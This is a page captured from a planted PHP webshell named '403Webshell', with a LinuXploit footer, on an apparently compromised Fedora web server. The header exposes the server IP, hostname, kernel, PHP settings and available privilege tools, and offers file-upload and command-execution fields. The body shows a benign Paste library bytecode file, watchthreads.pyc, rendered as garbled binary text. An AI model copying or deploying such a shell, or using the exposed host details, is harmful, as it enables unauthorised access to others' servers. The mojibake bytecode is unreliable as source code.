403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/paste/debug/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/paste/debug/watchthreads.pyc
Ñò
ÊIc
@sdZddkZddkZddkZddkZddklZddklZddk	l
Z
ddklZl
Z
ddklZlZedd	d
ƒZdefd„ƒYZd
„ZdgZd„Zd„Zd„Zed„Zeie_dd„ZdS(sv
Watches the key ``paste.httpserver.thread_pool`` to see how many
threads there are and report on any wedged threads.
iÿÿÿÿN(tStringIO(t	get_ident(thttpexceptions(t
construct_urltparse_formvars(tHTMLTemplatetbunchsv
<html>
 <head>
  <style type="text/css">
   body {
     font-family: sans-serif;
   }
   table.environ tr td {
     border-bottom: #bbb 1px solid;
   }
   table.environ tr td.bottom {
     border-bottom: none;
   }
   table.thread {
     border: 1px solid #000;
     margin-bottom: 1em;
   }
   table.thread tr td {
     border-bottom: #999 1px solid;
     padding-right: 1em;
   }
   table.thread tr td.bottom {
     border-bottom: none;
   }
   table.thread tr.this_thread td {
     background-color: #006;
     color: #fff;
   }
   a.button {
     background-color: #ddd;
     border: #aaa outset 2px;
     text-decoration: none;
     margin-top: 10px;
     font-size: 80%;
     color: #000;
   }
   a.button:hover {
     background-color: #eee;
     border: #bbb outset 2px;
   }
   a.button:active {
     border: #bbb inset 2px;
   }
  </style>
  <title>{{title}}</title>
 </head>
 <body>
  <h1>{{title}}</h1>
  {{if kill_thread_id}}
  <div style="background-color: #060; color: #fff;
              border: 2px solid #000;">
  Thread {{kill_thread_id}} killed
  </div>
  {{endif}}
  <div>Pool size: {{nworkers}}
       {{if actual_workers > nworkers}}
         + {{actual_workers-nworkers}} extra
       {{endif}}
       ({{nworkers_used}} used including current request)<br>
       idle: {{len(track_threads["idle"])}},
       busy: {{len(track_threads["busy"])}},
       hung: {{len(track_threads["hung"])}},
       dying: {{len(track_threads["dying"])}},
       zombie: {{len(track_threads["zombie"])}}</div>

{{for thread in threads}}

<table class="thread">
 <tr {{if thread.thread_id == this_thread_id}}class="this_thread"{{endif}}>
  <td>
   <b>Thread</b>
   {{if thread.thread_id == this_thread_id}}
   (<i>this</i> request)
   {{endif}}</td>
  <td>
   <b>{{thread.thread_id}}
    {{if allow_kill}}
    <form action="{{script_name}}/kill" method="POST"
          style="display: inline">
      <input type="hidden" name="thread_id" value="{{thread.thread_id}}">
      <input type="submit" value="kill">
    </form>
    {{endif}}
   </b>
  </td>
 </tr>
 <tr>
  <td>Time processing request</td>
  <td>{{thread.time_html|html}}</td>
 </tr>
 <tr>
  <td>URI</td>
  <td>{{if thread.uri == 'unknown'}}
      unknown
      {{else}}<a href="{{thread.uri}}">{{thread.uri_short}}</a>
      {{endif}}
  </td>
 <tr>
  <td colspan="2" class="bottom">
   <a href="#" class="button" style="width: 9em; display: block"
      onclick="
        var el = document.getElementById('environ-{{thread.thread_id}}');
        if (el.style.display) {
            el.style.display = '';
            this.innerHTML = '&#9662; Hide environ';
        } else {
            el.style.display = 'none';
            this.innerHTML = '&#9656; Show environ';
        }
        return false
      ">&#9656; Show environ</a>
   
   <div id="environ-{{thread.thread_id}}" style="display: none">
    {{if thread.environ:}}
    <table class="environ">
     {{for loop, item in looper(sorted(thread.environ.items()))}}
     {{py:key, value=item}}
     <tr>
      <td {{if loop.last}}class="bottom"{{endif}}>{{key}}</td>
      <td {{if loop.last}}class="bottom"{{endif}}>{{value}}</td>
     </tr>
     {{endfor}}
    </table>
    {{else}}
    Thread is in process of starting
    {{endif}}
   </div>

   {{if thread.traceback}}
   <a href="#" class="button" style="width: 9em; display: block"
      onclick="
        var el = document.getElementById('traceback-{{thread.thread_id}}');
        if (el.style.display) {
            el.style.display = '';
            this.innerHTML = '&#9662; Hide traceback';
        } else {
            el.style.display = 'none';
            this.innerHTML = '&#9656; Show traceback';
        }
        return false
      ">&#9656; Show traceback</a>

    <div id="traceback-{{thread.thread_id}}" style="display: none">
      <pre class="traceback">{{thread.traceback}}</pre>
    </div>
    {{endif}}

  </td>
 </tr>
</table>

{{endfor}}

 </body>
</html>
tnameswatchthreads.page_templatetWatchThreadscBs5eZdZed„Zd„Zd„Zd„ZRS(si
    Application that watches the threads in ``paste.httpserver``,
    showing the length each thread has been working on a request.

    If allow_kill is true, then you can kill errant threads through
    this application.

    This application can expose private information (specifically in
    the environment, like cookies), so it should be protected.
    cCs
||_dS(N(t
allow_kill(tselfR	((s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pyt__init__¹scCs`d|jo|ddgƒdgS|idƒdjo|i||ƒS|i||ƒSdS(	Nspaste.httpserver.thread_pools
403 ForbiddensContent-types
text/plainsCYou must use the threaded Paste HTTP server to use this applicationt	PATH_INFOs/kill(sContent-types
text/plain(tgettkilltshow(R
tenvirontstart_response((s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pyt__call__¼s
cCs‘|ddgƒt|ƒ}|idƒo|d}nd}|d}|i}tiƒ}|iiƒ}|idd„ƒg}	x™|D]‘\}
\}}tƒ}
|	i	|
ƒ|ot
|ƒ|
_n
d|
_|
|
_t
||ƒ|
_t|
iƒ|
_||
_t|
ƒ|
_qŽWtid	d
d|dt|iƒd
t|ƒd|dd|d|id|	dtƒd|iƒƒ
}|gS(Ns200 OKsContent-types	text/htmlRspaste.httpserver.thread_pooltkeycSs|ddS(ii((tv((s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pyt<lambda>ÒstunknownttitlesThread Pool Worker Trackertnworkerstactual_workerst
nworkers_usedtscript_nametSCRIPT_NAMEtkill_thread_idR	tthreadstthis_thread_idt
track_threads(sContent-types	text/html(RR
tNoneRttimetworker_trackertitemstsortRtappendRturit	thread_idtformat_timet	time_htmltshortent	uri_shortRttraceback_threadt	tracebackt
page_templatet
substitutetlentworkersR	RR (R
RRtformRtthread_poolRtnowR2RR(ttime_startedtworker_environtthreadtpage((s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pyRÅsF
		
				
		cCsÌ|iptidƒ}|||ƒSt|ƒ}t|dƒ}|d}||ijo!tid|ƒ}|||ƒS|i|ƒ|dpd}tidd|d	|fgƒ}|||ƒS(
Ns?Killing threads has not been enabled.  Shame on you for trying!R(spaste.httpserver.thread_poolsBYou tried to kill thread %s, but it is not working on any requestsRt/theaderstLocations?kill=%s(	R	Rt
HTTPForbiddenRtintR#tPreconditionFailedtkill_workert	HTTPFound(R
RRtexctvarsR(R4R((s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pyRïs"
	


	(t__name__t
__module__t__doc__tFalseRRRR(((s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pyR¬s
			*cCscttdƒpdStiƒ}||jodS||}tƒ}ti|d|ƒ|iƒS(sf
    Returns a plain-text traceback of the given thread, or None if it
    can't get a traceback.
    t_current_framestfileN(thasattrtsysR!RHRR.tprint_stacktgetvalue(R(tframestframetout((s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pyR-s

	spaste.httpserver.thread_poolcCs|djotiddddƒSg}xât|iƒƒD]Î\}}|tjoq=nyd|iƒ|jot|ƒ}n|itidt	i
t|ƒƒdt	i
t|ƒƒƒƒWq=tj
o;}|itidt	i
t|ƒƒdd|ƒƒq=Xq=Wdi
|ƒS(NRs---tvalues-No environment registered for this thread yets Error in <code>repr()</code>: %st(R!tenviron_templateR0tsortedR$t	hide_keystuppertreprR&tcgitescapetstrt	Exceptiontjoin(Rtenviron_rowsRRQte((s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pytformat_environs,
	
		cCsç|djo7dt|ddƒt|dƒd|df}np|djo"dt|dƒ|df}nA|djod|}n&|djod|}nd|}|d	jo|S|djo	d
|Sd|SdS(
Ni<s%i:%02i:%02iixs%i:%02is%i secis	%0.1f secs	%0.2f secis#<span style="color: #900">%s</span>s;<span style="background-color: #600; color: #fff">%s</span>i(R>(ttime_lengthttime_string((s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pyR),s"






	cCs0t|ƒdjo|d d|dS|SdS(Ni<i(s...iöÿÿÿ(R1(ts((s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pyR+BscCs#ddkl}td||ƒƒS(Niÿÿÿÿ(tasboolR	(tpaste.deploy.convertersRcR(tglobal_confR	Rc((s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pytmake_watch_threadsHsicstˆƒ‰‡fd†}|S(Ncswddk}ˆotiˆƒn9d}x/d||iƒfGHtidƒ|d7}q-|dd
gƒd	ˆgS(NiÿÿÿÿisI'm alive %s (%s)i
is200 OKscontent-types
text/plainsOK, paused %s seconds(scontent-types
text/plain(R8R"tsleepR(RRR8tcount(tpause(s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pytbad_appOs

(R>(ReRiRj((Ris</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pytmake_bad_appMs(RFRKRXR"R.t	cStringIORR8RtpasteRt
paste.requestRRtpaste.util.templateRRR/tobjectRR-RUR_R)R+RGRfRk(((s</usr/lib/python2.6/site-packages/paste/debug/watchthreads.pyt<module>s(›W					

Youez - 2016 - github.com/yon3zu
LinuXploit